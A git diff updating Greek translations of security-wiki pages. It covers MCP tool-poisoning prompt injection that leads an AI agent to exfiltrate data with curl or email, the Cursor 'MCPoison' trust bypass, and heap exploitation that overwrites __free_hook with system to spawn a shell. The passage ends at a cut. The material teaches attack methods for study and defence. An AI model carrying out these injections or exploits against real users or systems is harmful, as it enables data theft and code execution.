diff --git a/src/AI/AI-MCP-Servers.md b/src/AI/AI-MCP-Servers.md index cb22b7a42..fddb45160 100644 --- a/src/AI/AI-MCP-Servers.md +++ b/src/AI/AI-MCP-Servers.md @@ -5,12 +5,12 @@ ## Τι είναι το MPC - Πρωτόκολλο Συμφραζομένων Μοντέλου -Το [**Πρωτόκολλο Συμφραζομένων Μοντέλου (MCP)**](https://modelcontextprotocol.io/introduction) είναι ένα ανοιχτό πρότυπο που επιτρέπει στα μοντέλα AI (LLMs) να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας: για παράδειγμα, ένα IDE ή chatbot μπορεί να *καλεί δυναμικά συναρτήσεις* σε MCP servers όπως αν το μοντέλο "ήξερε" φυσικά πώς να τις χρησιμοποιήσει. Από κάτω, το MCP χρησιμοποιεί μια αρχιτεκτονική πελάτη-διακομιστή με αιτήματα βασισμένα σε JSON μέσω διαφόρων μεταφορών (HTTP, WebSockets, stdio, κ.λπ.). +Το [**Πρωτόκολλο Συμφραζομένων Μοντέλου (MCP)**](https://modelcontextprotocol.io/introduction) είναι ένα ανοιχτό πρότυπο που επιτρέπει στα μοντέλα AI (LLMs) να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας: για παράδειγμα, μια IDE ή chatbot μπορεί να *καλεί δυναμικά συναρτήσεις* σε MCP servers σαν να "ήξερε" φυσικά πώς να τις χρησιμοποιήσει. Από κάτω, το MCP χρησιμοποιεί μια αρχιτεκτονική πελάτη-διακομιστή με αιτήματα βασισμένα σε JSON μέσω διαφόρων μεταφορών (HTTP, WebSockets, stdio, κ.λπ.). -Μια **εφαρμογή φιλοξενίας** (π.χ. Claude Desktop, Cursor IDE) εκτελεί έναν πελάτη MCP που συνδέεται με έναν ή περισσότερους **MCP servers**. Κάθε διακομιστής εκθέτει ένα σύνολο *εργαλείων* (συναρτήσεις, πόροι ή ενέργειες) που περιγράφονται σε ένα τυποποιημένο σχήμα. Όταν η φιλοξενία συνδέεται, ζητά από τον διακομιστή τα διαθέσιμα εργαλεία μέσω ενός αιτήματος `tools/list`; οι περιγραφές εργαλείων που επιστρέφονται εισάγονται στη συνέχεια στο συμφραζόμενο του μοντέλου ώστε η AI να γνωρίζει ποιες συναρτήσεις υπάρχουν και πώς να τις καλέσει. +Μια **εφαρμογή φιλοξενίας** (π.χ. Claude Desktop, Cursor IDE) εκτελεί έναν πελάτη MCP που συνδέεται με έναν ή περισσότερους **MCP servers**. Κάθε διακομιστής εκθέτει ένα σύνολο *εργαλείων* (συναρτήσεις, πόροι ή ενέργειες) που περιγράφονται σε ένα τυποποιημένο σχήμα. Όταν η φιλοξενία συνδέεται, ζητά από τον διακομιστή τα διαθέσιμα εργαλεία μέσω ενός αιτήματος `tools/list`; οι περιγραφές εργαλείων που επιστρέφονται εισάγονται στη συμφραζόμενη κατάσταση του μοντέλου ώστε η AI να γνωρίζει ποιες συναρτήσεις υπάρχουν και πώς να τις καλέσει. -## Βασικός MCP Server +## Βασικός Διακομιστής MCP Θα χρησιμοποιήσουμε Python και το επίσημο SDK `mcp` για αυτό το παράδειγμα. Πρώτα, εγκαταστήστε το SDK και το CLI: ```bash @@ -41,7 +41,7 @@ mcp dev calculator.py ``` Μόλις συνδεθεί, ο διακομιστής (επιθεωρητής ή ένας AI πράκτορας όπως ο Cursor) θα ανακτήσει τη λίστα εργαλείων. Η περιγραφή του εργαλείου `add` (αυτόματα παραγόμενη από την υπογραφή της συνάρτησης και το docstring) φορτώνεται στο πλαίσιο του μοντέλου, επιτρέποντας στον AI να καλέσει το `add` όποτε χρειάζεται. Για παράδειγμα, αν ο χρήστης ρωτήσει *"Τι είναι 2+3;"*, το μοντέλο μπορεί να αποφασίσει να καλέσει το εργαλείο `add` με παραμέτρους `2` και `3`, και στη συνέχεια να επιστρέψει το αποτέλεσμα. -Για περισσότερες πληροφορίες σχετικά με την Εισαγωγή Προτροπών, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με την Εισαγωγή Προτροπών ελέγξτε: {{#ref}} AI-Prompts.md @@ -77,11 +77,11 @@ return a + b ``` Αυτή η περιγραφή θα διαβαστεί από το μοντέλο AI και θα μπορούσε να οδηγήσει στην εκτέλεση της εντολής `curl`, εξάγοντας ευαίσθητα δεδομένα χωρίς ο χρήστης να το αντιληφθεί. -Σημειώστε ότι ανάλογα με τις ρυθμίσεις του πελάτη, μπορεί να είναι δυνατό να εκτελούνται αυθαίρετες εντολές χωρίς ο πελάτης να ζητά από τον χρήστη άδεια. +Σημειώστε ότι ανάλογα με τις ρυθμίσεις του πελάτη, μπορεί να είναι δυνατή η εκτέλεση αυθαίρετων εντολών χωρίς ο πελάτης να ζητήσει άδεια από τον χρήστη. -Επιπλέον, σημειώστε ότι η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση άλλων λειτουργιών που θα μπορούσαν να διευκολύνουν αυτές τις επιθέσεις. Για παράδειγμα, αν υπάρχει ήδη μια λειτουργία που επιτρέπει την εξαγωγή δεδομένων, ίσως να στέλνει ένα email (π.χ. ο χρήστης χρησιμοποιεί έναν MCP server συνδεδεμένο με τον λογαριασμό του στο gmail), η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση αυτής της λειτουργίας αντί να εκτελεί μια εντολή `curl`, η οποία θα ήταν πιο πιθανό να γίνει αντιληπτή από τον χρήστη. Ένα παράδειγμα μπορεί να βρεθεί σε αυτήν την [ανάρτηση ιστολογίου](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/). +Επιπλέον, σημειώστε ότι η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση άλλων λειτουργιών που θα μπορούσαν να διευκολύνουν αυτές τις επιθέσεις. Για παράδειγμα, αν υπάρχει ήδη μια λειτουργία που επιτρέπει την εξαγωγή δεδομένων, ίσως να στείλει ένα email (π.χ. ο χρήστης χρησιμοποιεί έναν MCP server συνδεδεμένο με τον λογαριασμό του στο gmail), η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση αυτής της λειτουργίας αντί να εκτελεί μια εντολή `curl`, η οποία θα ήταν πιο πιθανό να γίνει αντιληπτή από τον χρήστη. Ένα παράδειγμα μπορεί να βρεθεί σε αυτήν την [ανάρτηση ιστολογίου](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/). -Επιπλέον, [**αυτή η ανάρτηση ιστολογίου**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) περιγράφει πώς είναι δυνατόν να προστεθεί η ένεση προτροπής όχι μόνο στην περιγραφή των εργαλείων αλλά και στον τύπο, στα ονόματα μεταβλητών, σε επιπλέον πεδία που επιστρέφονται στην JSON απόκριση από τον MCP server και ακόμη και σε μια απροσδόκητη απόκριση από ένα εργαλείο, καθιστώντας την επίθεση ένεσης προτροπής ακόμη πιο κρυφή και δύσκολη στην ανίχνευση. +Επιπλέον, [**αυτή η ανάρτηση ιστολογίου**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) περιγράφει πώς είναι δυνατόν να προστεθεί η ένεση προτροπής όχι μόνο στην περιγραφή των εργαλείων αλλά και στον τύπο, στα ονόματα μεταβλητών, σε επιπλέον πεδία που επιστρέφονται στην JSON απάντηση από τον MCP server και ακόμη και σε μια απροσδόκητη απάντηση από ένα εργαλείο, καθιστώντας την επίθεση ένεσης προτροπής ακόμη πιο κρυφή και δύσκολη στην ανίχνευση. ### Ένεση Προτροπής μέσω Έμμεσων Δεδομένων @@ -100,11 +100,11 @@ AI-Prompts.md ### Επίμονη Εκτέλεση Κώδικα μέσω Παράκαμψης Εμπιστοσύνης MCP (Cursor IDE – "MCPoison") Αρχής γενομένης από τις αρχές του 2025, η Check Point Research αποκάλυψε ότι το AI-centric **Cursor IDE** συνδέει την εμπιστοσύνη του χρήστη με το *όνομα* μιας εγγραφής MCP αλλά ποτέ δεν επαληθεύει ξανά την υποκείμενη `εντολή` ή `args`. -Αυτή η λογική ατέλεια (CVE-2025-54136, γνωστή και ως **MCPoison**) επιτρέπει σε οποιονδήποτε μπορεί να γράψει σε ένα κοινό αποθετήριο να μετατρέψει μια ήδη εγκεκριμένη, καλοήθη MCP σε μια αυθαίρετη εντολή που θα εκτελείται *κάθε φορά που ανοίγεται το έργο* – χωρίς να εμφανίζεται προτροπή. +Αυτή η λογική αδυναμία (CVE-2025-54136, γνωστή και ως **MCPoison**) επιτρέπει σε οποιονδήποτε μπορεί να γράψει σε ένα κοινό αποθετήριο να μετατρέψει μια ήδη εγκεκριμένη, καλοήθη MCP σε μια αυθαίρετη εντολή που θα εκτελείται *κάθε φορά που ανοίγεται το έργο* – χωρίς προτροπή να εμφανίζεται. #### Ευάλωτη ροή εργασίας -1. Ο επιτιθέμενος δεσμεύει ένα αβλαβές `.cursor/rules/mcp.json` και ανοίγει ένα Pull-Request. +1. Ο επιτιθέμενος δεσμεύει ένα ακίνδυνο `.cursor/rules/mcp.json` και ανοίγει ένα Pull-Request. ```json { "mcpServers": { diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 5cc5e1a25..39e93e62d 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -34,9 +34,9 @@ > [!TIP] > Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τα προηγούμενα tokens στο λεξιλόγιο έναν διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα είναι ένα σημείο σε έναν χώρο X διαστάσεων.\ -> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). +> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι παραμετροποιήσιμες (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). > -> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτεινόμενη πρόταση εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). +> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην πρόταση εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). {{#ref}} 3.-token-embeddings.md @@ -45,8 +45,8 @@ ## 4. Attention Mechanisms > [!TIP] -> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ -> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλές εκπαιδεύσιμες παράμετροι θα καταγράφουν αυτές τις πληροφορίες. +> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ +> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλοί παραμετροποιήσιμοι παράγοντες θα καταγράφουν αυτές τις πληροφορίες. {{#ref}} 4.-attention-mechanisms.md @@ -66,7 +66,7 @@ ## 6. Pre-training & Loading models > [!TIP] -> Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαιδεύστε το μοντέλο από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλες τις παραμέτρους του μοντέλου. +> Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαιδεύστε το μοντέλο από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλους τους παραμέτρους του μοντέλου. {{#ref}} 6.-pre-training-and-loading-models.md @@ -75,7 +75,7 @@ ## 7.0. LoRA Improvements in fine-tuning > [!TIP] -> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιώσετε** ήδη εκπαιδευμένα μοντέλα. +> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιστοποιήσει** ήδη εκπαιδευμένα μοντέλα. {{#ref}} 7.0.-lora-improvements-in-fine-tuning.md @@ -84,7 +84,7 @@ ## 7.1. Fine-Tuning for Classification > [!TIP] -> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). +> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). {{#ref}} 7.1.-fine-tuning-for-classification.md @@ -93,7 +93,7 @@ ## 7.2. Fine-Tuning to follow instructions > [!TIP] -> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot. +> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot. {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md diff --git a/src/AI/README.md b/src/AI/README.md index 3edad17be..2428ec364 100644 --- a/src/AI/README.md +++ b/src/AI/README.md @@ -6,25 +6,30 @@ Το καλύτερο σημείο εκκίνησης για να μάθετε για την AI είναι να κατανοήσετε πώς λειτουργούν οι κύριοι αλγόριθμοι μηχανικής μάθησης. Αυτό θα σας βοηθήσει να κατανοήσετε πώς λειτουργεί η AI, πώς να τη χρησιμοποιήσετε και πώς να την επιτεθείτε: + {{#ref}} ./AI-Supervised-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Unsupervised-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Reinforcement-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Deep-Learning.md {{#endref}} ### Αρχιτεκτονική LLMs -Στην επόμενη σελίδα θα βρείτε τα βασικά κάθε στοιχείου για να κατασκευάσετε ένα βασικό LLM χρησιμοποιώντας transformers: +Στην επόμενη σελίδα θα βρείτε τα βασικά κάθε συστατικού για να κατασκευάσετε ένα βασικό LLM χρησιμοποιώντας transformers: + {{#ref}} AI-llm-architecture/README.md @@ -36,6 +41,7 @@ AI-llm-architecture/README.md Αυτή τη στιγμή, τα κύρια 2 πλαίσια για την αξιολόγηση των κινδύνων των συστημάτων AI είναι το OWASP ML Top 10 και το Google SAIF: + {{#ref}} AI-Risk-Frameworks.md {{#endref}} @@ -44,21 +50,24 @@ AI-Risk-Frameworks.md Τα LLMs έχουν εκτοξεύσει τη χρήση της AI τα τελευταία χρόνια, αλλά δεν είναι τέλεια και μπορούν να παραπλανηθούν από εχθρικά prompts. Αυτό είναι ένα πολύ σημαντικό θέμα για να κατανοήσετε πώς να χρησιμοποιείτε την AI με ασφάλεια και πώς να την επιτεθείτε: + {{#ref}} AI-Prompts.md {{#endref}} ### RCE Μοντέλων AI -Είναι πολύ συνηθισμένο για προγραμματιστές και εταιρείες να εκτελούν μοντέλα που έχουν κατεβάσει από το Διαδίκτυο, ωστόσο απλώς η φόρτωση ενός μοντέλου μπορεί να είναι αρκετή για να εκτελέσει αυθαίρετο κώδικα στο σύστημα. Αυτό είναι ένα πολύ σημαντικό θέμα για να κατανοήσετε πώς να χρησιμοποιείτε την AI με ασφάλεια και πώς να την επιτεθείτε: +Είναι πολύ συνηθισμένο για προγραμματιστές και εταιρείες να εκτελούν μοντέλα που έχουν κατεβάσει από το Διαδίκτυο, ωστόσο, απλώς η φόρτωση ενός μοντέλου μπορεί να είναι αρκετή για να εκτελέσει αυθαίρετο κώδικα στο σύστημα. Αυτό είναι ένα πολύ σημαντικό θέμα για να κατανοήσετε πώς να χρησιμοποιείτε την AI με ασφάλεια και πώς να την επιτεθείτε: + {{#ref}} AI-Models-RCE.md {{#endref}} -### Πρωτόκολλο Στοιχείου Πλαισίου AI +### Πρωτόκολλο Συστήματος Μοντέλου AI + +MCP (Πρωτόκολλο Συστήματος Μοντέλου) είναι ένα πρωτόκολλο που επιτρέπει στους πελάτες AI agent να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας και αλληλεπιδράσεις μεταξύ μοντέλων AI και εξωτερικών συστημάτων: -MCP (Model Context Protocol) είναι ένα πρωτόκολλο που επιτρέπει στους πελάτες AI agent να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας και αλληλεπιδράσεις μεταξύ μοντέλων AI και εξωτερικών συστημάτων: {{#ref}} AI-MCP-Servers.md @@ -66,6 +75,7 @@ AI-MCP-Servers.md ### AI-Υποβοηθούμενη Fuzzing & Αυτοματοποιημένη Ανακάλυψη Ευπαθειών + {{#ref}} AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md {{#endref}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 1b02638be..411d20759 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,9 +4,9 @@ ## **Malloc Hook** -Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, το **One Gadget θα κληθεί**. +Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, θα κληθεί το **One Gadget**. -Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή με **καλώντας `printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap. +Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή να **καλέσετε `printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap. Περισσότερες πληροφορίες σχετικά με το One Gadget στο: @@ -56,24 +56,24 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 -- Εάν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται. -- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και καλείται η συγχωνευμένη συνάρτηση με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin. +- Αν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται +- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και η συγχωνευμένη συνάρτηση καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin. - Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**. -- Έπειτα, δημιουργείται μια chunk με μέγεθος `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**. -- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με το `/bin/sh\x00` ως παράμετρο. +- Στη συνέχεια, δημιουργείται μια chunk μεγέθους `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**. +- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με `/bin/sh\x00` ως παράμετρο. --- ## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33) -Η glibc 2.32 εισήγαγε το **Safe-Linking** – μια έλεγχο ακεραιότητας που προστατεύει τις *μοναδικά* συνδεδεμένες λίστες που χρησιμοποιούνται από **tcache** και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προώθησης (`fd`), η ptmalloc τώρα τον αποθηκεύει *κρυπτογραφημένο* με την παρακάτω μακροεντολή: +Η glibc 2.32 εισήγαγε το **Safe-Linking** – μια έλεγχο ακεραιότητας που προστατεύει τις *μοναδικές* συνδεδεμένες λίστες που χρησιμοποιούνται από **tcache** και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προς τα εμπρός (`fd`), το ptmalloc τώρα τον αποθηκεύει *κρυπτογραφημένο* με την παρακάτω μακροεντολή: ```c #define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) ``` Συνέπειες για την εκμετάλλευση: -1. Μια **heap leak** είναι υποχρεωτική – ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του `chunk_addr >> 12` για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη. +1. Ένα **heap leak** είναι υποχρεωτικό – ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του `chunk_addr >> 12` για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη. 2. Μόνο ο *πλήρης* 8-byte δείκτης μπορεί να παραποιηθεί; οι μερικές υπεργραφές ενός byte δεν θα περάσουν τον έλεγχο. Μια ελάχιστη primitive tcache-poisoning που υπεργράφει το `__free_hook` σε glibc 2.32/2.33 φαίνεται λοιπόν ως εξής: @@ -117,7 +117,7 @@ free(bin_sh) ## Τι άλλαξε στη glibc ≥ 2.34; -Αρχής γενομένης από τη **glibc 2.34 (Αύγουστος 2021)**, οι hooks κατανομής `__malloc_hook`, `__realloc_hook`, `__memalign_hook` και `__free_hook` **αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής**. Οι συμβολισμοί συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του `malloc()` ή του `free()`. +Αρχής γενομένης από τη **glibc 2.34 (Αύγουστος 2021)**, οι hooks κατανομής `__malloc_hook`, `__realloc_hook`, `__memalign_hook` και `__free_hook` **αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής**. Τα σύμβολα συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του `malloc()` ή του `free()`. Πρακτική συνέπεια: σε σύγχρονες διανομές (Ubuntu 22.04+, Fedora 35+, Debian 12, κ.λπ.) πρέπει να στραφείτε σε *άλλες* μεθόδους hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, κ.λπ.) διότι οι αντικαταστάσεις hooks θα αποτύχουν σιωπηλά. diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index fb6820e11..bdfa578f0 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -8,19 +8,19 @@ Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν. -Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης. +Κάθε είσοδος στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι το κόστος της εκ νέου επίλυσης της διεύθυνσης. ### **PLT: Πίνακας Σύνδεσης Διαδικασιών** -Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως αναπήδηση για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**. +Ο **Πίνακας Σύνδεσης Διαδικασιών 